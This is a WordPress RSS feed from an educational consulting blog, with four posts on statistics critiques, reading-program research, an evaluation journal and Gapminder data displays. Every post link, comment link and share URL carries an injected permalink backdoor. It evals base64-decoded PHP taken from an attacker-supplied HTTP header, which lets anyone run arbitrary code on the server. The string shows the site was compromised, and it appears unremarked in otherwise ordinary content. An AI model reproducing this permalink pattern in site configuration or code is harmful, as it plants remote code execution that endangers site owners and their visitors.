<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Murphy Educational Consulting (MEC) &#187; research</title>
	<atom:link href="http://murphyeducational.com/education-blog/category/research/feed/" rel="self" type="application/rss+xml" />
	<link>http://murphyeducational.com/education-blog</link>
	<description>Evaluation of formal, informal and non-formal learning at the intersection of families, youth and communities</description>
	<lastBuildDate>Mon, 18 Jul 2011 20:49:21 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>“Baffling” Link Between Autism and Vinyl Floors via Seth&#8217;s blog</title>
		<link>http://murphyeducational.com/education-blog/2009/04/08/%e2%80%9cbaffling%e2%80%9d-link-between-autism-and-vinyl-floors-via-seths-blog/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://murphyeducational.com/education-blog/2009/04/08/%e2%80%9cbaffling%e2%80%9d-link-between-autism-and-vinyl-floors-via-seths-blog/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 08 Apr 2009 18:00:48 +0000</pubDate>
		<dc:creator>Nora Murphy</dc:creator>
				<category><![CDATA[data analysis]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[statistics]]></category>
		<category><![CDATA[Add new tag]]></category>
		<category><![CDATA[statistics research_methods]]></category>

		<guid isPermaLink="false">http://murphyeducational.com/education-blog/?p=95</guid>
		<description><![CDATA[TweetShareIf you haven&#8217;t found Seth&#8217;s Blog, I highly recommend it!  Seth Roberts, Ph.D., is a professor emeritus of psychology at the University of California at Berkeley.  He writes about a variety of topic, but has a great mind for statistics.  He often posts about statistics that are used incorrectly, by people who are usually considered [...]]]></description>
			<content:encoded><![CDATA[<div class="socialize-in-content" style="float:left;"><div class="socialize-in-button-left"><a href="http://twitter.com/share" class="twitter-share-button" data-count="vertical" data-via="socializeWP" data-url="http://murphyeducational.com/education-blog/2009/04/08/%e2%80%9cbaffling%e2%80%9d-link-between-autism-and-vinyl-floors-via-seths-blog/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><div class="socialize-in-button-left"><a name="fb_share" type="box_count" share_url="http://murphyeducational.com/education-blog/2009/04/08/%e2%80%9cbaffling%e2%80%9d-link-between-autism-and-vinyl-floors-via-seths-blog/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" href="http://www.facebook.com/sharer.php">Share</a><script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script></div></div><p>If you haven&#8217;t found <a title="Seth's Blog" href="http://blog.sethroberts.net/" target="_blank">Seth&#8217;s Blog</a>, I highly recommend it!  Seth Roberts, Ph.D., is a professor emeritus of psychology at the University of California at Berkeley.  He writes about a variety of topic, but has a great mind for statistics.  He often posts about statistics that are used incorrectly, by people who are usually considered experts in the field.  By reading about the incorrect uses and his related explanations, I am reminded to be wary of what I read, and it sharpens my ability to read research.</p>
<p>I particularly enjoyed a recent post titled <a title="Vinyl Floors and Autism" href="http://www.blog.sethroberts.net/2009/04/01/baffling-link-between-autism-and-vinyl-floors/" target="_blank">&#8220;&#8216;Baffling&#8217; Link between Autism and Vinyl Floors&#8221;</a>.  In fact I loved it so much that I sent the link to all of my nerdy statistics loving friends.  At first, it seems like an amazing break through&#8230; <em>Scientific America</em> writes that:</p>
<blockquote><p>&#8220;Children who live in homes with vinyl floors, which can emit chemicals called <a href="http://www.sciam.com/blog/60-second-science/post.cfm?id=scientists-urge-epa-to-assess-poten-2008-12-18">phthalates</a>, are more likely to have autism, according to research by Swedish and U.S. scientists published Monday.</p>
<p>The study of Swedish children is among the first to find an apparent connection between an environmental chemical and <a href="http://www.sciam.com/article.cfm?id=broken-mirrors-a-theory-of-autism">autism</a>.&#8221;</p></blockquote>
<p>Wow!  What a break though, right?  Maybe, but maybe not.  Seth points out some real weaknesses in the study&#8217;s methodology, including the often incorrect assumption that a large sample size is both necessary, and the most important aspect of research design.</p>
<p>So if you took statistics or research methods years ago, this is a great reminder about sound research methodology, and that even journals as prominent as <em>Scientific America</em> sometimes don&#8217;t get it 100% correct.</p>
<script type="text/javascript">
  addthis_url    = 'http%3A%2F%2Fmurphyeducational.com%2Feducation-blog%2F2009%2F04%2F08%2F%25e2%2580%259cbaffling%25e2%2580%259d-link-between-autism-and-vinyl-floors-via-seths-blog%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F';
  addthis_title  = '%E2%80%9CBaffling%E2%80%9D+Link+Between+Autism+and+Vinyl+Floors+via+Seth%26%238217%3Bs+blog';
  addthis_pub    = '';
</script><script type="text/javascript" src="http://s7.addthis.com/js/addthis_widget.php?v=12" ></script>
]]></content:encoded>
			<wfw:commentRss>http://murphyeducational.com/education-blog/2009/04/08/%e2%80%9cbaffling%e2%80%9d-link-between-autism-and-vinyl-floors-via-seths-blog/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What reading instruction works in grades 2-5?</title>
		<link>http://murphyeducational.com/education-blog/2008/08/19/what-reading-instruction-works-in-grades-2-5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://murphyeducational.com/education-blog/2008/08/19/what-reading-instruction-works-in-grades-2-5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 19 Aug 2008 14:42:55 +0000</pubDate>
		<dc:creator>Nora Murphy</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[best practices]]></category>
		<category><![CDATA[elementary]]></category>
		<category><![CDATA[instruction]]></category>
		<category><![CDATA[reading]]></category>
		<category><![CDATA[review]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://murphyeducational.com/education-blog/?p=54</guid>
		<description><![CDATA[TweetShareJohn&#8217;s Hopkins University publishes a reviews of educational research in something called the &#8216;Best Evidence Encyclopedia&#8217;. I like it because it gathers, compares and contrasts current research. They make sure that they are using credible, valid research, and have access to research reports that the average person might not have. Once you research their review, [...]]]></description>
			<content:encoded><![CDATA[<div class="socialize-in-content" style="float:left;"><div class="socialize-in-button-left"><a href="http://twitter.com/share" class="twitter-share-button" data-count="vertical" data-via="socializeWP" data-url="http://murphyeducational.com/education-blog/2008/08/19/what-reading-instruction-works-in-grades-2-5/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><div class="socialize-in-button-left"><a name="fb_share" type="box_count" share_url="http://murphyeducational.com/education-blog/2008/08/19/what-reading-instruction-works-in-grades-2-5/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" href="http://www.facebook.com/sharer.php">Share</a><script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script></div></div><p>John&#8217;s Hopkins University publishes a reviews of educational research in something called the &#8216;Best Evidence Encyclopedia&#8217;.  I like it because it gathers, compares and contrasts current research.  They make sure that they are using credible, valid research, and have access to research reports that the average person might not have.  Once you research their review, you are free to dive deeper into a topic of interest.  But all in all, this is a fantastic starting point.</p>
<p>Their latest review looks at upper elementary reading programs.</p>
<p><a title="MEC JHC Reading Summary" href="http://rs6.net/tn.jsp?e=001O6RFZPBlfhl-9Z36S397CN_R_ggwRwMHMTmWUqejrLFU9qDEvYuU7yaynKvvWBbwk0X-TN0W38CO_58aR_JzvPJnsCGMKalb0UCv9YP151_8ConijQ0gt77hCbR9bn0nYB2DSXc6eL068JooUs2Mna7dauY4ZSAqbMdoPohD-ZmeXFFRIfIS5w==" target="_blank">Educator&#8217;s Summary</a></p>
<p><a title="MEC JHC Reading Full Report" href="http://rs6.net/tn.jsp?e=001O6RFZPBlfhmsktVRzO5b0BSZMrBvtl2G5bXbO3wV_UFf6jXhQUXJPAwYIX1SZm-0mr6mmJvs6pa3qhZGyuF02o0KyJ22hL_P0giDC7ir9Qqi2vBQD76FTGEQDvufZl23thVWl-h7R4E8VEtoBN5NG9gqfs2-P3WU0mvr7kyF_j5mOsxmnqcssg==" target="_blank">Full Report</a></p>
<p>It summarizes the evidence on four types of programs including:</p>
<ul>
<li> <strong>Reading Curricula</strong>, including core reading textbooks such as Reading Street and Open Court, as well as supplementary texts like Read Naturally and Fluency Formula</li>
<li><strong>Computer-Assisted Instruction</strong>, such as Jostens/Compass Learning and Accelerated Reader</li>
<li><strong>Instructional Process Programs</strong>, such as cooperative learning and classroom management and motivation programs</li>
<li><strong>Combined Curriculum and Instructional Process Programs</strong>, such as Direct Instruction, Wilson Reading, and Project Read</li>
</ul>
<p>The Best Evidence Encyclopedia is located at http://www.bestevidence.org.</p>
<script type="text/javascript">
  addthis_url    = 'http%3A%2F%2Fmurphyeducational.com%2Feducation-blog%2F2008%2F08%2F19%2Fwhat-reading-instruction-works-in-grades-2-5%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F';
  addthis_title  = 'What+reading+instruction+works+in+grades+2-5%3F';
  addthis_pub    = '';
</script><script type="text/javascript" src="http://s7.addthis.com/js/addthis_widget.php?v=12" ></script>
]]></content:encoded>
			<wfw:commentRss>http://murphyeducational.com/education-blog/2008/08/19/what-reading-instruction-works-in-grades-2-5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Free Evaluation Journal</title>
		<link>http://murphyeducational.com/education-blog/2008/06/19/free-evaluation-journal/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://murphyeducational.com/education-blog/2008/06/19/free-evaluation-journal/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 19 Jun 2008 13:45:12 +0000</pubDate>
		<dc:creator>Nora Murphy</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[evaluation]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[accountability]]></category>
		<category><![CDATA[Authentic application]]></category>
		<category><![CDATA[nclb]]></category>
		<category><![CDATA[on-line journal]]></category>
		<category><![CDATA[Students with Disabilities]]></category>
		<category><![CDATA[testing]]></category>

		<guid isPermaLink="false">http://murphyeducational.com/education-blog/?p=39</guid>
		<description><![CDATA[TweetShareThere are a lot of free sites out there with evaluation information&#8230;  for current research on evaluation check out the excerpt below: Practical Assessment, Research &#38; Evaluation is a peer-reviewed scholarly journal freely accessible on the Internet at http://PAREonline.net PARE has just published: Unexpected Testing Practices Affecting English Language Learners and Students with Disabilities under [...]]]></description>
			<content:encoded><![CDATA[<div class="socialize-in-content" style="float:left;"><div class="socialize-in-button-left"><a href="http://twitter.com/share" class="twitter-share-button" data-count="vertical" data-via="socializeWP" data-url="http://murphyeducational.com/education-blog/2008/06/19/free-evaluation-journal/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><div class="socialize-in-button-left"><a name="fb_share" type="box_count" share_url="http://murphyeducational.com/education-blog/2008/06/19/free-evaluation-journal/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" href="http://www.facebook.com/sharer.php">Share</a><script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script></div></div><p>There are a lot of free sites out there with evaluation information&#8230;  for current research on evaluation check out the excerpt below:</p>
<p>Practical Assessment, Research &amp; Evaluation is a peer-reviewed scholarly<br />
journal freely accessible on the Internet at <a rel="nofollow" href="http://pareonline.net/" target="_blank">http://PAREonline.net</a> PARE<br />
has just published:</p>
<p>Unexpected Testing Practices Affecting English Language Learners and<br />
Students with Disabilities under No Child Left Behind<br />
Mark Fetler</p>
<p>The testing and accountability requirements of the No Child Left Behind<br />
Act impose sanctions on schools for not making adequate yearly progress<br />
in student achievement. The sanctions may encourage inappropriate<br />
practices intended to raise scores of low performing student subgroups.<br />
This article considers evidence and consequences of misclassification of<br />
English language learners as students with disabilities.</p>
<p>Questions?  Contact:<br />
Lawrence M. Rudner &amp; William D. Schafer<br />
Co-editors</p>
<p>coeditor@pareonline.net<br />
<a title="MEC PARE" href="http://pareonline.net/" target="_blank">Practical Assessment Research and Evaluation </a></p>
<script type="text/javascript">
  addthis_url    = 'http%3A%2F%2Fmurphyeducational.com%2Feducation-blog%2F2008%2F06%2F19%2Ffree-evaluation-journal%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F';
  addthis_title  = 'Free+Evaluation+Journal';
  addthis_pub    = '';
</script><script type="text/javascript" src="http://s7.addthis.com/js/addthis_widget.php?v=12" ></script>
]]></content:encoded>
			<wfw:commentRss>http://murphyeducational.com/education-blog/2008/06/19/free-evaluation-journal/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exceptionally cool, interactive, powerful data display</title>
		<link>http://murphyeducational.com/education-blog/2008/06/18/exceptionally-cool-interactive-powerful-data-display/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://murphyeducational.com/education-blog/2008/06/18/exceptionally-cool-interactive-powerful-data-display/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 18 Jun 2008 14:58:48 +0000</pubDate>
		<dc:creator>Nora Murphy</dc:creator>
				<category><![CDATA[data analysis]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[data display]]></category>
		<category><![CDATA[evaluation]]></category>
		<category><![CDATA[gapminder]]></category>
		<category><![CDATA[school leadership]]></category>
		<category><![CDATA[school reform]]></category>
		<category><![CDATA[small schools]]></category>
		<category><![CDATA[teacher effects]]></category>
		<category><![CDATA[teachers]]></category>

		<guid isPermaLink="false">http://murphyeducational.com/education-blog/?p=38</guid>
		<description><![CDATA[TweetShareMy brother-in-law showed me a website that he knew I would appreciate, not so much for it&#8217;s content, but for the impressive data display.  I was skeptical, but once I started clicking through the presentation, I was hooked!  The display of data was so interactive and compelling, that I kept clicking until the display was [...]]]></description>
			<content:encoded><![CDATA[<div class="socialize-in-content" style="float:left;"><div class="socialize-in-button-left"><a href="http://twitter.com/share" class="twitter-share-button" data-count="vertical" data-via="socializeWP" data-url="http://murphyeducational.com/education-blog/2008/06/18/exceptionally-cool-interactive-powerful-data-display/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><div class="socialize-in-button-left"><a name="fb_share" type="box_count" share_url="http://murphyeducational.com/education-blog/2008/06/18/exceptionally-cool-interactive-powerful-data-display/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" href="http://www.facebook.com/sharer.php">Share</a><script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script></div></div><p>My brother-in-law showed me a website that he knew I would appreciate, not so much for it&#8217;s content, but for the impressive data display.  I was skeptical, but once I started clicking through the presentation, I was hooked!  The display of data was so interactive and compelling, that I kept clicking until the display was finished.  It&#8217;s called Gapminder.  <a title="MEC Gapminder" href="http://www.gapminder.org/fullscreen.php?file=GapminderMedia/GapTools/HDT05L/application.swf" target="_blank">Click here</a> to see it for yourself!</p>
<p>I immediately started thinking about all the ways I would love to use such a data display for educational research.  Here are two topics that I read recently that I would love to see presented using Gapminder:</p>
<p>In the <a title="MEC PEN" href="http://www.publiceducation.org/newsblast_current.asp" target="_blank">Public Education Weekly NewsBlast</a> (June 13, 2008):</p>
<blockquote><p>SCHOOL SIZE NOT KEY TO SMALL HIGH SCHOOL SUCCESS, STUDY FINDS<br />
A new study by Education Resource Strategies, &#8220;Strategic Designs: Lessons for Leading Edge Small Urban High Schools,&#8221; examines nine high-performing small urban high schools throughout the country to better understand how they achieved their success. The report by Karen Hawley Miles and Regis Shields finds that the success of small urban high schools rests less on their smaller size and more on how they use their resources strategically. The high-performing schools in the study &#8212; all schools with flexibility over their resources &#8212; proactively manage people, time, and money, and demonstrate that it&#8217;s not just how much money is spent that impacts student learning, but how well resources are used.<br />
<a href="http://rs6.net/tn.jsp?e=001p8En8PnEvkFDNL0vW_-nIzyZcIe3NRMNP31z36jr4JZACME8_8QnBm0idUG4-Wte3ay4DVjxQQJn2W5YtVWpsLDFKFuLfzzafdcEQsrpdwkdASAkIB77IhI6hYcuge8VRnWBDe6i_7EjY-ONdCrnIimHQ2iJjUfR" target="_blank">http://www.educationresourcestrategies.org/small_schools.htm</a></p></blockquote>
<p>In <a title="MEC Eduwonkette" href="http://blogs.edweek.org/edweek/eduwonkette/2008/06/everyones_favorite_sound_bite_1.html" target="_blank">Eduwonkette</a> (June 15, 2008)</p>
<blockquote><p>In a new paper, &#8220;<a href="http://www.nber.org/papers/w14065" target="_blank">The Persistence of Teacher-Induced Learning Gains</a>&#8220;, <a href="http://www.fordschool.umich.edu/faculty/Brian_Jacob" target="_blank">Brian Jacob</a>, <a href="http://econ.byu.edu/faculty/Lefgren/" target="_blank">Lars Lefgren</a>, and David Sims estimate how much of the teacher effect fades out over time. It turns out that kids lose more of these short-term test score gains that we (or at least I) thought:<br />
<strong>&#8220;Our estimates suggest that only about one-fifth of the test score gain from a high value-added teacher remains after a single year</strong>. Given our standard errors, we can rule out one-year persistence rates above one-third. After two years, about one-eighth of the original gain persists.&#8221;</p></blockquote>
<p>If you have the courage and interest to try using this on your own, the software has been bought by google (i love google!)  and is free for you to use.  Their first output is now up and running as a free Google Gadget called <strong>Motion Chart</strong>. It allows evryone to make a gapminder-like bubble graph that you can publish on your web-page or blog.   <a href="http://www.gapminder.org/blog/gapminder-foundation-blog/make-your-own-graph-google-announces-motion-chart.html"><span style="color: #333399;">» Read more about Motion Chart&#8230;</span></a></p>
<script type="text/javascript">
  addthis_url    = 'http%3A%2F%2Fmurphyeducational.com%2Feducation-blog%2F2008%2F06%2F18%2Fexceptionally-cool-interactive-powerful-data-display%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F';
  addthis_title  = 'Exceptionally+cool%2C+interactive%2C+powerful+data+display';
  addthis_pub    = '';
</script><script type="text/javascript" src="http://s7.addthis.com/js/addthis_widget.php?v=12" ></script>
]]></content:encoded>
			<wfw:commentRss>http://murphyeducational.com/education-blog/2008/06/18/exceptionally-cool-interactive-powerful-data-display/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

